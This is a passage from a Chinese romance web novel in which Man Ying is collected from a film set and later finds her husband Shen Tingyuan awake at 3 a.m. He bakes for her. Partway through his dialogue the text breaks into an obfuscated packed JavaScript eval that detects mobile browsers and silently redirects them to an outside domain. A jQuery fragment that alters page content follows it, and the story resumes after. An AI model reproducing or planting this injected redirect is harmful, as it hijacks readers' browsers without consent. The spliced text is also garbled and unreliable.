临近八点,商凝的工作结束,从一堆工作人员中脱身跑到满樱身前,提着纸袋把剧组分的点心给她:“等久了,我们走吧。”
剧组的大灯就放在侧前方,收工后灯一关,周遭就只余了略小的灯盏,人也只看得清轮廓。
满樱伸手,就着尚凝的力道被拉起身,站稳后,打趣着拍了拍她的肩:“剧照师的工作也不轻松。”
“早知道就拒绝顾衍铭了。”商凝嘴角往下一撇,仰头长叹一声,她虽然热爱摄影但还是更喜欢无拘无束当个自由摄影师。
满樱也了解她,估计答应纯粹是因为新鲜感,正要说些什么,突然出现的人让她止住了话头。
“时间太晚了,要不等等我换个衣服送你们回去。”顾衍铭还穿着戏服,像是急匆匆跑过来的,“时间也不早了,你们两个女孩子单独回去我也不放心,这边本来就偏,打车不安全。”
“啊……”商凝不觉得有什么问题,但转念一想,转头看向满樱。
顾衍铭笑:“我记得我们都是住同一个方向的吧,也不麻烦。”
满樱接受到商凝的信号,微不可察摇摇头,温声拒绝:“不麻烦师哥,我搬家了。”
“搬家?”顾衍铭下意识追问。
“樱樱,要不还是让顾衍铭送吧,你今天遇到的那事……”商凝欲言又止,压低声音凑到她耳边,“我不放心。”
满樱眨了眨眼睛:“让他送我过去更不方便。”
言罢,她悄悄举了举手机。
两人低声交谈了一会儿,顾衍铭也没离开,自觉站在几步外的地方等待回应。
“不用了,有人来接我。”
“那就麻烦顾影帝送我一下了。”没等他再说什么,商凝主动接过话,也没落了他的面子。
话已至此,顾衍铭掩下失落:“都是朋友,说什么谢不谢的太见外了。”
商凝看破不说破,对满樱敲了敲手机屏幕:“樱樱,到家记得发消息。”
“好。”
顾衍铭目光一直跟随着她:“老师回来后我们一起去探望。”
满樱点头,摆了摆手。
满樱是给苗苗发的消息,目送两人去了休息室后,等待回复的同时慢慢朝外走去。
没走两步,却见一辆熟悉的车辆借着夜色,停在演员房车不远处。
她几乎条件反射地点开微信。
沈亭渊没给她发消息。
这种疑惑等见到司机才消失,对方拉开后座:“太太,请上车。”
满樱一边发消息跟苗苗说她不用来了一边上车,有些疑惑问:“你怎么会来接我?”
司机恭敬道:“是沈总吩咐的。”
“他回来了?”猝不及防听到沈亭渊的名讳,满樱心止不住提了一下,下午的消息他一直没回,原来是因为在回程?
“这个不清楚,如果太太想知道沈总行程的话可以问问沈总。”
满樱敛下心绪,当即表示算了,让她去问沈亭渊的行程也显得太奇怪了。
也忘记去思考沈亭渊怎么会知道她在这里。
-
快速洗漱完躺好的第一件事,满樱上网搜了搜烬浮生相关的爆料贴,不出意料的没有半点风声,有几个为了博眼球营销号发的一眼看过去就知道是假消息。
在小号翻了半天自己以前发的微博,当年关于烬浮生的消息早就被原博设置为了不可见,最终漫无目的地点进了蓝澜的超话。
蓝澜自退圈后就再没有过消息,曾经no.1的超话也没人活跃了,主持人早已卸任,满樱也疑惑过人怎么会消失的这么彻底,只是不敢深思。
毕竟蓝澜退圈时说过她很幸福,退圈只是想要去过另一种生活,粉丝知道这些就足够了。
照片上的人笑容还很鲜活,满樱指尖不断滑动,翻看着过去自己追星的记录,眨眼的频率慢慢多了起来,随着屏幕光芒渐渐暗下,睡颜也映在了里面。
再次醒来,是被饿醒的,刚刚从梦中抽离的大脑还处于混沌状态,满樱动了动已经被压得发麻的手臂,没有被睡衣包裹住的皮肤一片冰凉,起身时又不小心拉扯到头发,轻呼了一声,彻底清醒了。
按亮屏幕,已经是凌晨三点了。
点外卖肯定是不现实的,满樱扫过四周,开始后悔没带自己那些口粮过来了。
靠在床头挣扎了几分钟,还是决定下楼找找有没有吃的。
她在家的时候经常半夜起来吃东西,不算什么好习惯,也因此囤了很多速食,想着带来肯定不好,所以一包都没拿。
摸黑下楼的时候,满樱不禁感叹。
房子太大也是个烦恼啊。
今夜月光并不强势,许是被云层掩住了大半,余下泛在周围的光,透过玻璃倾泻在台阶上,物体均被拖拽成阴影。
满樱下意识眯起眼睛,想要看得更清楚,刻意放慢的脚步声在安静空间内分外明晰。
好不容易屏着一口气下到一楼,满樱悄然放松了因为紧张而绷直的身体。
而直到此刻,她才后知后觉。
现在别墅里又没有别人,她这么小心翼翼干什么?
念头一出,满樱登时松开了紧紧握着的扶手,准备打开手电筒来探路。
“你在做什么?”
毫无征兆的动静从身后传来,满樱浑身一颤,本来就饿得没什么力气,受到惊吓,更是腿发软地直直往地上栽。
骤然靠近的冷香掺杂了些醇厚红酒的气息飘来,细腻而又温和的冲刷着她的神经。
满樱尚未反应过来,一只手绕过她不容置喙的力道将她扶稳,指腹裹挟了夜色的凉,不经意间掠过她腰侧。
身体本能性地抖了一下。
裸露在外的皮肤都激起一阵颤栗。
由于惯性,后背倏地贴上了宽阔的胸膛,属于另一个人的温度透过薄薄的衣料传递过来,满樱侧过身,晕头转向地举起手机,手电筒的冷光在周围晃了晃,手还在克制不住地颤抖。
“吓到你了。”熟悉的嗓音落在耳边,似是染了月色的温柔,有点散漫的语调。
他再次开口,满樱才认出来。
暗自松了一口气的同时,不禁为自己刚才的想法觉得有些无语。
两人之间的距离挨得很近,她脚步向前,不自在地离开这个严严实实的怀抱。
怀中一空,沈亭渊手便自然垂在身侧,淡淡蹙眉,浓重的墨色中,唯有她手里的光在亮。
方才吹了会儿风,刻意酝酿的酒意散了不少。
不到醉的地步,只是确实忘记了家里还有另一个人。
听到动静往里走,也是下意识的动作,没想到会吓着她。
沈亭渊什么时候回来的?
满樱舒了口气的同时仍旧心有余悸,转眸看向客厅沙发,她记得昨晚追剧抱下来的毯子和抱枕好像还没来得及拿回房间。
抱枕和毯子印的都是她的照片,如果被沈亭渊看到那得多尴尬。
视线扫过去没看到疑似物品,可能是玲姨帮她收回房了。
眼神又重新落回面前男人身上。
他应该还没回过房间,衬衫领口随意解开两粒扣子,系成温莎结的领带被扯过,略显随意地搭着,打破了平日克己复礼的形象。
没忍住多看了几眼,刚才靠上去的感觉挺硬。
满樱生生挪开视线,打断了自己的遐想:“你喝酒了?”
暗色中,他似乎沉吟片刻,嗓音低沉磁性:“见了个朋友,很重吗?”
属于红酒深沉的香气萦绕在周身,满樱下意识判断起味道深浅。
更像是从外沾染上的气息。
摇了摇头:“没有,只是我对香味比较敏感。”
“你下午发的那个消息是什么意思?”她好奇了一个下午那个偶遇的含义。
空气安静了刹那,半晌,男人不紧不慢地开口:“见到了你的品牌代言。”
倒是一个从未设想过的方向,难免有些愕然,满樱缓慢地张了张唇:“哦……那个时间点就已经投放了吗?”
“很巧,当时看到就给你发了消息。”
不知是喝了酒的缘故还是其他,沈亭渊似乎分外的好说话:“还有想问的吗?”
满樱还认真想了想,不确定他是不是清醒着,轻轻摇了摇头:“没有了,不过现在可是凌晨三点,你站在这里也太吓人了。”
沈亭渊掀眸,朝她看去:“我也想知道你凌晨三点怎么不睡觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501289|170352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
“……”
问题被挡了回来,满樱咬了咬唇,小声道:“我想找点吃的。”
沉寂夜色中,她好似看到沈亭渊迟疑了一瞬。
幽深眼眸中腾起几分意味不明。
下一瞬,满樱意识到他可能误会了什么,开口想解释。
男人大概是没有想回答她的意向,也不想听她说话,迈开步子走在她前面,满樱犹豫片刻,还是自觉跟了上去。
餐厅灯被打开,满樱顺势关了手电筒,看着沈亭渊走进厨房,好奇心止不住地冒了出来。
难道沈亭渊要下厨?
这样想着,她渐渐靠近,只见男人走到了厨房里面,似乎在操作什么东西,不消片刻便收回了手。
见他要过来,满樱几乎是瞬间移开目光,投向冰箱,走上前打开,下一秒,便怔在了冰箱前,寒气扑面而来,却没有她的心凉。
虽然她没有下厨的打算,但想着找个水果啃啃充饥也是可以的,但是无论如何也没想到冰箱除了两个鸡蛋什么都没有。
难道要煮两个水煮蛋吗?
满樱顿时皱起眉,水煮蛋一直是她的天敌,小时候许女士不知道用了多少法子让她吃,但不管怎么样她都没有办法接受。
“食材都是当天送来放在后面别墅。”沈亭渊声音从身后传来,彻底碾灭了她的希望。
冰箱门被毫不留情地关上。
“那你有没有速食?比如自热小火锅方便面酸辣粉之类的……”话到后面,满樱音量不自觉地就低了下去,沈亭渊表情未变,只是听她细细数来,浅浅扬了扬眉。
也不用他回答了,肯定是没有的。
再怎么样,沈亭渊也不像是会吃泡面的人吧,想象不出来那个画面。
觅食行动失败,满樱轻叹一口气,决定回房睡觉,只要睡着就不会饿了,反正几个小时后就该吃早餐了。
“不饿了?”男人似笑非笑的嗓音响起。
满樱一顿,立刻回头:“啊?”
少女微微张唇,显得有些呆,睡得蓬松的长发软乎乎贴着面颊。
“没有其他材料了,只能做简单的。”沈亭渊说着将袖口挽起,露出线条流畅的小臂,拿出那两个鸡蛋放在台面。
动作熟练地拿出各种器具放在中岛台上操作起来。
满樱还没反应过来,身体已经诚实地靠近了,靠着对面台沿,视线不由自主跟随着他的动作上下,语气掩不住诧异:“你会烘焙?”
也不怪她,不管怎么样都很难把沈亭渊跟烘焙联系在一起吧。
“你经常做蛋糕吃吗?”
“不会。”沈亭渊垂眸,修长的手指握着打蛋器,动作干脆利落,金属与玻璃碗碰撞的轻响里,蛋白渐渐泛起绵密的泡沫。
满樱看得挪不开眼。
他分明穿着挺括的白衬衫,袖口却随意地挽至小臂,冷白的腕骨在厨房暖光下透出几分居家的温度。
蛋白霜在他手中渐渐成型,像一朵蓬松甜软的云,她认真盯着那团雪白,按捺住上手的冲动,心底莫名涌上一丝满足感。
视线游离。
西装革履的沈亭渊,和眼前面对烘焙依旧游刃有余的他,他好像不管什么都能做得很好,从家世到外貌都近乎完美,也难怪传言会那么说。
冷不丁想起许女士曾经说的话。
她目光太专注,很难不令人分心,沈亭渊停下动作,将打蛋器搁在碗沿,语气平静:“不用担心,我月初刚做过,步骤都记得。”
“我没那个意思。”满樱轻声辩驳完,唇角不自觉扬起,陷入回忆,“我妈从来不让我学做饭,生怕我结婚后被困在厨房里。”
在父亲去世前,许女士也是这样的角色,不需要操心太多,所有事情都由父亲兜底,如果意外没有发生,他们应当是相当幸福的三口之家。
发散的思维触碰到不想面对的现实,又被弹了回来,满樱唇边笑意淡了许多,翘起的弧度渐渐抿成平线。
“这件事很简单。”沈亭渊忽然开口,声线沉稳。
他抬眼的瞬间,两人的目光毫无预兆地撞在一起。
满樱微怔过后,略有感慨地笑了笑:“以后你的妻子肯定很幸福。”